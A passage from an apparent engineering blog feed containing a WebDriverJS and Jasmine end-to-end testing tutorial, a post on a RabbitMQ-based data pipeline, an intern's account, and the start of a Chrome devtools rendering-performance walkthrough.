easy. Now if you search webdriver JS on the web, you'll come across 2 different bindings namely <a href="https://code.google.com/p/selenium/wiki/WebDriverJs">selenium-webdriver</a> and <a href="https://github.com/camme/webdriverjs">webdriverjs</a> (yeah, lots of driver), both available as node modules. You can use anyone you like, though we'll stick to the official one i.e. selenium-webdriver. Say you have a JavaScript project you want to automate e2e testing on. Installing the bindings is as simple as doing: <div class="gatsby-highlight" data-language="bash"><pre class="language-bash"><code class="language-bash">npm install selenium-webdriver</code></pre></div> Done! You can now require the package and with a lil' configuration you can open any webpage in the browser: <div class="gatsby-highlight" data-language="javascript"><pre class="language-javascript"><code class="language-javascript">var webdriver = require('selenium-webdriver'); var driver = new webdriver.Builder(). withCapabilities(webdriver.Capabilities.chrome()). build(); driver.get('http://www.wingify.com');</code></pre></div> To run your test file, all you do is: <div class="gatsby-highlight" data-language="bash"><pre class="language-bash"><code class="language-bash">node testfile.js</code></pre></div> Note: In addition to the npm package, you will need to download the WebDriver implementations you wish to utilize. As of 2.34.0, selenium-webdriver natively supports the <a href="https://code.google.com/p/selenium/wiki/ChromeDriver">ChromeDriver</a>. Simply <a href="http://chromedriver.storage.googleapis.com/index.html">download a copy</a> and make sure it can be found on your PATH. The other drivers (e.g. Firefox, Internet Explorer, and Safari), still require the <a href="http://selenium.googlecode.com/files/selenium-server-standalone-2.37.0.jar">standalone Selenium server</a>. <h3 id="difference-from-other-language-bindings" style="position:relative;"><a href="#difference-from-other-language-bindings" aria-label="difference from other language bindings permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Difference from other language bindings</h3> WebDriverJS has an important difference from other bindings in any other language - It is asynchronous. So if you had done the following in python: <div class="gatsby-highlight" data-language="javascript"><pre class="language-javascript"><code class="language-javascript">// pseudo code driver.get(page1); driver.click(E1);</code></pre></div> Both statements would have executed synchronously as the Python (as every other language) API is blocking. But that isn't the case with JavaScript. To maintain the required sequence between various actions, WebDriverJS uses <a href="https://code.google.com/p/selenium/source/browse/javascript/webdriver/promise.js">Promises</a>. In short, a promise is an object that can execute whatever you give it after it has finished. But it doesn't stop here. Even with promises, the above code would have become: <div class="gatsby-highlight" data-language="javascript"><pre class="language-javascript"><code class="language-javascript">// pseudo code driver.get(page1).then(function () { driver.click(E1); });</code></pre></div> Do you smell callback hell in there? To make it more neat, WebDriverJS has a wrapper for Promise called as <a href="https://code.google.com/p/selenium/wiki/WebDriverJs#Control_Flows">ControlFlow</a>. In simple words, this is how ControlFlow prevents callback hell: <ul> <li>It maintains a list of schedule actions.</li> <li>The exposed functions in WebDriverJS do not actually do their stuff, instead they just push the required action into the above mentioned list.</li> <li>ControlFlow puts every new entry in the <code class="language-text">then</code> callback of the last entry of the list, thus ensuring the sequence between them.</li> </ul> And so, it enables us to simply do: <div class="gatsby-highlight" data-language="javascript"><pre class="language-javascript"><code class="language-javascript">// pseudo code driver.get(page1); // Implicitly add to previous action's then() driver.click(E1);</code></pre></div> Isn't that awesome! Controlflow also provides an <code class="language-text">execute</code> function to push your custom function inside the execution list and the return value of that function is used to resolve/reject that particular execution. So you can use promises and do any asynchronous thing in your custom code: <div class="gatsby-highlight" data-language="javascript"><pre class="language-javascript"><code class="language-javascript">var flow = webdriver.promise.controlFlow(); flow.execute(function () { var d = webdriver.promise.defer(); do_anything_async().then(function (val) { d.fulfill(val); }) return d.promise; });</code></pre></div> Quick tip: Documentation for JavaScript bindings isn't that readily available (atleast I couldn't find it), so the best thing I found to be useful was the actual <a href="https://code.google.com/p/selenium/source/browse/javascript/webdriver/">WebDriverJS code</a>. It heavily commented and is very handy while looking for specific methods on the driver. <h2 id="combining-webdriverjs-with-jasmine" style="position:relative;"><a href="#combining-webdriverjs-with-jasmine" aria-label="combining webdriverjs with jasmine permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Combining WebDriverJS with Jasmine</h2> Our browser automation is setup with selenium. Now we need a testing framework to handle our tests. That is where <a href="http://pivotal.github.io/jasmine/">Jasmine</a> comes in. You can install jasmine for your JavaScript project through npm: <div class="gatsby-highlight" data-language="bash"><pre class="language-bash"><code class="language-bash">npm install jasmine-node</code></pre></div> If we were to convert our earlier <code class="language-text">testfile.js</code> to check for correct page title, here is what it might look like: <div class="gatsby-highlight" data-language="javascript"><pre class="language-javascript"><code class="language-javascript">var webdriver = require('selenium-webdriver'); var driver = new webdriver.Builder(). withCapabilities(webdriver.Capabilities.chrome()). build(); describe('basic test', function () { it('should be on correct page', function () { driver.get('http://www.wingify.com'); driver.getTitle().then(function(title) { expect(title).toBe('Wingify'); }); }); });</code></pre></div> Now the above file needs to be run with <a href="https://github.com/mhevery/jasmine-node">jasmine-node</a>, like so: <div class="gatsby-highlight" data-language="bash"><pre class="language-bash"><code class="language-bash">jasmine-node testfile.js</code></pre></div> This will fire the browser and do the mentioned operations, but you'll notice that Jasmine won't give any results for the test. Why? Well...that happens because Jasmine has finished executing and no <code class="language-text">expect</code> statement ever executed because of the expectation being inside an asynchronous callback of <code class="language-text">getTitle</code> function. To solve such asynchronicity in our tests, jasmine-node provides a way to tell that a particular <code class="language-text">it</code> block is asynchronous. It is done by accepting a done callback in the specification (<code class="language-text">it</code> function) which makes Jasmine wait for the <code class="language-text">done()</code> to be executed. So here is how we fix the above code: <div class="gatsby-highlight" data-language="javascript"><pre class="language-javascript"><code class="language-javascript">var webdriver = require('selenium-webdriver'); var driver = new webdriver.Builder(). withCapabilities(webdriver.Capabilities.chrome()). build(); describe('basic test', function () { it('should be on correct page', function (done) { driver.get('http://www.wingify.com'); driver.getTitle().then(function(title) { expect(title).toBe('Wingify'); // Jasmine waits for the done callback to be called before proceeding to next specification. done(); }); }); });</code></pre></div> Quick tip: You might want to tweak the time allowed for tests to complete in Jasmine like so: <div class="gatsby-highlight" data-language="javascript"><pre class="language-javascript"><code class="language-javascript">jasmine.getEnv().defaultTimeoutInterval = 10000; // in microseconds.</code></pre></div> <h2 id="bonus-for-angular-apps" style="position:relative;"><a href="#bonus-for-angular-apps" aria-label="bonus for angular apps permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Bonus for Angular apps</h2> Angular framework has been very testing focused since the very beginning. Needless to say, they have devoted a lot of time on e2e testing as well. <a href="https://github.com/angular/protractor">Protractor</a> is a library by the Angular team which is a wrapper on WebDriverJS and Jasmine and is specifically tailored to make testing of Angular apps a breeze. Checkout some of the neat addons it gives you: <ol> <li>Apart from querying element based on id, css selector, xpath etc, it lets you query on basis of binding, model, repeater etc. Sweet!</li> <li>It has Jasmine's <code class="language-text">expect</code> function patched to accept promises. So, for example, in our previous test where we were checking for title:</li> </ol> <div class="gatsby-highlight" data-language="javascript"><pre class="language-javascript"><code class="language-javascript">driver.getTitle().then(function (title) { expect(title).toBe('Wingify'); });</code></pre></div> can be refactored to a much cleaner: <div class="gatsby-highlight" data-language="javascript"><pre class="language-javascript"><code class="language-javascript">expect(driver.getTitle()).toBe('Wingify');</code></pre></div> And more such cool stuff to make end-to-end testing for Angular apps super-easy. <h2 id="in-the-end" style="position:relative;"><a href="#in-the-end" aria-label="in the end permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>In the end</h2> e2e testing is important for the apps being written today and hence it becomes important for it to be automated and at the same time fun and easy to perform. There are numerous tools available for you to choose and this article talks about one such tool combination. Hope this helps you get started. So what are you waiting for, lets write some end-to-end tests! Using an e2e testing stack you want to share? Let us know in the comments. <h2 id="links--references" style="position:relative;"><a href="#links--references" aria-label="links references permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Links &#x26; references</h2> <ul> <li>WebDriverJS user guide: <a href="https://code.google.com/p/selenium/wiki/WebDriverJs">https://code.google.com/p/selenium/wiki/WebDriverJs</a></li> <li>WebDriverJS source: <a href="https://code.google.com/p/selenium/source/browse/javascript/webdriver/">https://code.google.com/p/selenium/source/browse/javascript/webdriver/</a></li> <li>JSON wire protocol: <a href="https://code.google.com/p/selenium/wiki/JsonWireProtocol">https://code.google.com/p/selenium/wiki/JsonWireProtocol</a></li> <li>Jasmine: <a href="http://pivotal.github.io/jasmine/">http://pivotal.github.io/jasmine/</a></li> <li>jasmine-node: <a href="https://github.com/mhevery/jasmine-node">https://github.com/mhevery/jasmine-node</a></li> <li>Protractor: <a href="https://github.com/angular/protractor">https://github.com/angular/protractor</a></li> </ul></content:encoded><author>Kushagra Gour</author></item><item><title><![CDATA[Scaling with Queues]]></title><description><![CDATA[Our home-grown geo-distributed architecture based CDN allows us to delivery dynamic javascript content with minimum latencies possible…]]></description><link>https://engineering.wingify.com//posts/scaling-with-queues/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/scaling-with-queues/</guid><pubDate>Mon, 02 Sep 2013 00:00:00 GMT</pubDate><content:encoded>Our home-grown <a href="http://visualwebsiteoptimizer.com/split-testing-blog/geo-distributed-architecture/">geo-distributed architecture</a> based CDN allows us to delivery dynamic javascript content with minimum latencies possible. Using the same architecture we do data acquisition as well. Over the years we've done a lot of changes to our backend, this post talks about some scaling and reliability aspects and our recent work on making fast and reliable data acquisition system using message queues which is in production for about three months now. I'll start by giving some background on our previous architecture. <a href="http://en.wikipedia.org/wiki/Web_bug">Web beacons</a> are widely used to do data acquisition, the idea is to have a webpage send us data using an HTTP request and the server sends some valid object. There are many ways to do this. To keep the size of the returned object small, for every HTTP request we return a tiny 1x1 pixel gif image and our geo-distributed architecture along with our managed Anycast DNS service helps us to do this with very low latencies, we aim for less than 40ms. When an HTTP request hits one of our data acquisition servers, <a href="http://openresty.org">OpenResty</a> handles it and our Lua based code processes the request in the same process thread. OpenResty is a <code class="language-text">nginx</code> mod which among many things bundles <code class="language-text">luajit</code> that allows us to write URL handlers in Lua and the code runs within the web server. Our Lua code does some quick checks, transformations and writes the data to a <a href="http://redis.io">Redis</a> server which is used as fast in-memory data sink. The data stored in Redis is later moved, processed and stored in our database servers. <div style="text-align:center; margin:5px"> <img src="/images/2013/09/0.png"> Previous Architecture </div> This was the architecture when I had <a href="http://team.wingify.com/friday-engineering-talks-at-wingify">joined</a> Wingify couple of months ago. Things were going smooth but the problem was we were not quite sure about data accuracy and scalability. We used Redis as a fast in-memory data storage sink, which our custom written PHP based queue infrastructure would read from, our backend would process it and write to our database servers. The PHP code was not scalable and after about a week of hacking, exploring options we found few bottlenecks and decided to re-do the backend queue infrastructure. We explored many <a href="http://queues.io">options</a> and decided to use <a href="http://www.rabbitmq.com">RabbitMQ</a>. We wrote a few proof-of-concept backend programs in Go, Python and PHP and did a lot of testing, benchmarking and real-world <a href="http://loader.io">load testing</a>. Ankit, Sparsh and I discussed how we should move forward and we finally decided to explore two models in which we would replace the home-grown PHP queue system with RabbitMQ. In the first model, we wrote directly to RabbitMQ from the Lua code. In the second model, we wrote a transport agent which moved data from Redis to RabbitMQ. And we wrote RabbitMQ consumers in both cases. There was no Lua-resty library for RabbitMQ, so I wrote one using <code class="language-text">cosocket</code> APIs which could publish messages to a RabbitMQ broker over STOMP protocol. The library <a href="https://github.com/wingify/lua-resty-rabbitmqstomp">lua-resty-rabbitmqstomp</a> was opensourced for the hacker <a href="https://groups.google.com/forum/?fromgroups#!forum/openresty-en">community</a>. Later, I rewrote our Lua handler code using this library and ran a <a href="http://loader.io">loader.io</a> load test. It failed this model due to very <a href="http://ldr.io/154Xf1h">low throughput</a>, we performed a load test on a small 1G DigitalOcean instance for both models. For us, the STOMP protocol and slow RabbitMQ STOMP adapter were performance bottlenecks. RabbitMQ was not as fast as Redis, so we decided to keep it and work on the second model. For our requirements, we wrote a proof-of-concept Redis to RabbitMQ transport agent called <code class="language-text">agentredrabbit</code> to leverage Redis as a fast in-memory storage sink and use RabbitMQ as a reliable broker. The POC worked well in terms of performance, throughput, scalability and failover. In next few weeks we were able to write a production level queue based pipeline for our data acquisition system. For about a month, we ran the new pipeline in production against the existing one, to A/B test our backend :) To do that we modified our Lua code to write to two different Redis lists, the original list was consumed by the existing pipeline, the other was consumed by the new RabbitMQ based pipeline. The consumer would process and write data to a new database. This allowed us to compare realtime data from the two pipelines. During this period we tweaked our implementation a lot, rewrote the producers and consumers thrice and had two major phases of refactoring. <div style="text-align:center; margin:5px"> <img src="/images/2013/09/1.png"> A/B testing of existing and new architecture </div> Based on <a href="http://ldr.io/1565jPu">results</a> against a 1G DigitalOcean instance like for the first model and against the A/B comparison of existing pipeline in realtime, we migrated to the new pipeline based on RabbitMQ. Other issues of HA, redundancy and failover were addressed in this migration as well. The new architecture ensures no single point of failure and has mechanisms to recover from failure and fault. <div style="text-align:center; margin:5px"> <img src="/images/2013/09/2.png"> Queue (RabbitMQ) based architecture in production </div> We've <a href="https://github.com/wingify/agentredrabbit">opensourced <code class="language-text">agentredrabbit</code></a> which can be used as a general purpose fast and reliable transport agent for moving data in chunks from Redis lists to RabbitMQ with some assumptions and queue name conventions. The flow diagram below has hints on how it works, checkout the <a href="https://github.com/wingify/agentredrabbit">README for details</a>. <div style="text-align:center; margin:5px"> <img src="/images/2013/09/3.png"> Flow diagram of "agentredrabbit" </div> [Discussion on Hacker News](https://news.ycombinator.com/item?id=6359786)</content:encoded><author>Rohit Yadav</author></item><item><title><![CDATA[Internship experience @Wingify]]></title><description><![CDATA[When I got an opportunity of interning with the engineering team at Wingify it made me ecstatic because of an exciting office with…]]></description><link>https://engineering.wingify.com//posts/internship-experience-at-wingify/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/internship-experience-at-wingify/</guid><pubDate>Mon, 05 Aug 2013 00:00:00 GMT</pubDate><content:encoded>When I got an opportunity of interning with the engineering team at Wingify it made me ecstatic because of an exciting office with fascinating transparent walls full of geeky stuff, I came across on my first visit for an interview — and of course Wingify is a becoming a buzz word in IT industry. On my first day I was a bit nervous, dressed and prepared as I believed anyone working from 10:00 am to 7:00 pm would. When I reached the office only the office boy was present — honestly speaking I had a feeling that I am at a wrong place because there was no way a software company should look like at 10:30 in the morning on a working day. After a while I was surrounded by people in shorts, denims, t-shirts with smiling faces having friendly chats. Working at Wingify provided me with an entirely new set of skills like software development design patterns and maintenance that is going to be invaluable for my future. My work here mainly included front-end optimization and internationalization. <h3 id="frontend-optimization-of-visual-website-optimizer-website" style="position:relative;"><a href="#frontend-optimization-of-visual-website-optimizer-website" aria-label="frontend optimization of visual website optimizer website permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Frontend optimization of <a href="http://visualwebsiteoptimizer.com/">Visual Website Optimizer</a> website.</h3> <div class="img-wrapper"> <video width="500" height="320" controls="true"> <source src="/videos/vwo-optimize.mp4" type="video/mp4"></source> <source src="/videos/vwo-optimize.ogg" type="video/ogg"></source> Your browser does not support the video tag. </video> </div> Reduced the loading time by 62.16%. <h3 id="translation-of-visual-website-optimizer-website" style="position:relative;"><a href="#translation-of-visual-website-optimizer-website" aria-label="translation of visual website optimizer website permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Translation of <a href="http://visualwebsiteoptimizer.com/">Visual Website Optimizer</a> website.</h3> <ul> <li><a href="http://visualwebsiteoptimizer.jp" title="Japanese">日本語</a></li> <li><a href="http://visualwebsiteoptimizer.nl" title="Dutch">Nederlands</a></li> <li><a href="http://visualwebsiteoptimizer.cn" title="Chinese">中国的</a></li> </ul> Worked on template based engine for the translation of web pages in different languages. I worked along with the marketing team, and this added an additional dimension to my work by interdependent relationship. I also spent my time researching and learning different methods and technologies for various things such as process automation. All these roles and responsibilities taught me to manage time, being attentive and organized, and enhanced problem-solving abilities. At Wingify you have the solidarity and independence of your own space and an atmosphere where interns like myself would not hesitate to ask questions as they are answered and explained by highly skilled and dedicated engineering team sitting next to you, which makes it easy to get work done. Awesome appreciation mails boost you up with confidence. Personally, I couldn't have imagined a better internship experience. Interning with Wingify provides you with a wonderful learning experience. In a nutshell, it is a great place to work and party \m/</content:encoded><author>Vivek Kishore</author></item><item><title><![CDATA[Getting 60 FPS using Chrome devtools]]></title><description><![CDATA[This post is about making your web page perform better using a real world example. As you know, we recently launched a very cool animated…]]></description><link>https://engineering.wingify.com//posts/getting-60fps-using-devtools/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/getting-60fps-using-devtools/</guid><pubDate>Mon, 29 Jul 2013 00:00:00 GMT</pubDate><content:encoded>This post is about making your web page perform better using a real world example. As you know, we recently launched a very cool <a href="https://visualwebsiteoptimizer.com/what-is-ab-testing/">animated comic on A/B Testing</a>. It is scroll animation describing what is A/B testing. I'll talk about it as an example and walk you through its performance issues, how we debugged them and finally what we did to extract 60 FPS out of it. The process we see in following text will applies more or less to all web pages in general. Here's what you need to get started: <ol> <li>A <a href="http://jankfree.org/">janky</a> web page.</li> <li>Google Chrome with its awesome devtools.</li> <li>Determination to make it run as smooth as a hot knife through butter :)</li> </ol> Worry not if you are missing any of the above, you can still read on. Let us begin. <h2 id="what-is-causing-the-issue" style="position:relative;"><a href="#what-is-causing-the-issue" aria-label="what is causing the issue permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>WHAT is causing the issue?</h2> All we know now is that our page is janky. When you scroll up/down you'll notice that the animation is quite choppy. There are sudden jumps occasionally while scrolling which is really irritating and obviously a bad user experience. We don't know what is causing this. The very first step we take here is profile the page using Chrome devtool's <a href="https://developers.google.com/chrome-developer-tools/docs/timeline">Timeline</a> feature. So I went on and fired up my devtools. <h3 id="open-the-devtools" style="position:relative;"><a href="#open-the-devtools" aria-label="open the devtools permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Open the devtools</h3> <div class="img-wrapper"> <img src="/images/2013/07/devtools.png" alt="Chrome devtools"> </div> Devtools in chrome can be fired either going to Tools > Developer Tools or using the shortcut Ctrl + Shift + I on Windows/Linux and Cmd + Opt + I on Mac. <h3 id="select-frames-tab" style="position:relative;"><a href="#select-frames-tab" aria-label="select frames tab permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Select frames tab</h3> <div class="img-wrapper"> <img src="/images/2013/07/devetools-frames-tab.png" alt="Frames tab"> </div> Frames tab basically will let us visualize each frame individually showing how much time was taken by that frame and for what tasks. <h3 id="filter-out-events-taking-more-than-15ms" style="position:relative;"><a href="#filter-out-events-taking-more-than-15ms" aria-label="filter out events taking more than 15ms permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Filter out events taking more than 15ms</h3> <div class="img-wrapper"> <img src="/images/2013/07/devtools-15ms.png" alt="Chrome devtools"> </div> Note that we are targeting 60 FPS here. A little math here gives us the number 16.666 ms (<code class="language-text">1 / 60 * 1000</code>). This is the time budget available per frame to do its thing if we want a consistent 60 FPS. Therefore, we essentially want to investigate those frames which are crossing this time limit. To do so, select the >= 15ms option from bottom bar as shown. <h3 id="record" style="position:relative;"><a href="#record" aria-label="record permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Record</h3> <div class="img-wrapper"> <img src="/images/2013/07/devtools-record.png" alt="Chrome devtools"> </div> Press the 'Record' button at the bottom to start devtools record what's happening on the page. Once you do that, go back to the page and interact with the page as one would normally do exposing the issues we are trying to debug. In my case, the page was feeling choppy while scrolling between slides. So I simply kept scrolling on the page like a normal user. After interacting for a while with the page, I get back to the devtools window and press the same button to stop the recording. <h3 id="notice-the-frames" style="position:relative;"><a href="#notice-the-frames" aria-label="notice the frames permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Notice the frames</h3> <div class="img-wrapper"> <img src="/images/2013/07/devtools-initial.png" alt="Chrome devtools"> </div> You now see the frame data for your page... something like in the snapshot above. In the image you'll notice a vertical limit with the label 60 FPS just below the label for 30 FPS. These limits are for the frames under which they need to do their stuff if the respective framerate is to be achieved. Once you know this, you'll straight away conclude that almost all of our frames our crossing that limit like hell! This is the point where we have actually visualized and confirmed the issue. Lets find out the cause. <h3 id="script-events-taking-more-than-15ms" style="position:relative;"><a href="#script-events-taking-more-than-15ms" aria-label="script events taking more than 15ms permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Script events taking more than 15ms</h3> <div class="img-wrapper"> <img src="/images/2013/07/devtools-initial-script-time.png" alt="Chrome devtools"> </div> Every frame's bar is made of different colour components. In the above snapshots we see only yellow and green ones. A quick look at the color legend in the bottom bar tells us that yellow is script time and green is painting. A closer analysis tells us that most frames are in majority made up of yellow component. This means that most of the frame's time is spent in executing script. Moreover if you hover over any small horizontal yellow bars below, as show in the snapshot above, you'll also see the exact time that our scripts are taking per frame along with the corresponding event that triggered it. In my case, it's the scroll event (we expected that...no?). Some of those scroll events are taking upto 27 ms which is much much 